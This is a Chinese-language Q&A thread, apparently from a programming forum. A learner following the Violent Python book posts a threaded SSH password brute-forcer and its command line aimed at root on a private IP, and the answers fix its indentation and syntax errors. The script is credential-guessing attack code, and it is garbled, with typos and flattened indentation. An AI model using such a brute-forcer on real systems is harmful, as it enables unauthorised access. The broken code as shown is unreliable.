好的,我正在使用Violent Python书并制作了一个SSH暴力程序。当我运行以下代码时
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxconnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+} Paassword Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect9host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help= 'specify target host')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
parser.add_option('-F', dest='psswdFile', type='string, \
help='specify password file')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.psswdFile
user = options.user
if host == None or psswdFile == None or user == None:
print parser.usage
exit(0)
fn = open(psswdFile, 'r')
for line in fn.readlines():
if Found:
print "[+] Exting: Password Found."
exit(0)
if Fails > 5
print "[!] Exiting: Too many socket timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args+(host, user, \
password, True))
child = t.start()
if __name__ == '__main__':
main()
使用以下命令在终端上运行它:
python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt
我收到此错误:
File "brute_force_ssh_pxssh.py", line 17
Found = True
^
SyntaxError: invalid syntax
我检查了示例代码并且正好写了这个...任何帮助都非常感谢。 (我仍然是Python中的菜鸟)。谢谢!
答案 0 :(得分:2)
缩进是错误的。应该是
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+} Paassword Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
答案 1 :(得分:2)
你应该缩进Found = True
。
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+} Paassword Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
答案 2 :(得分:1)
缩进有效。 Found = True应该比try:
更多缩进 像这样:try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+} Paassword Found: ' + password
Found = True
except Exception, e:
答案 3 :(得分:0)
您在代码的各个部分中遇到了一些问题
除了第17行,看起来你也有一个身份问题 第20行,第23行(elif块),第27行,第38行,以及从48到59的行似乎是不好的缩进。
此外,第25行还缺少“第34行和额外的”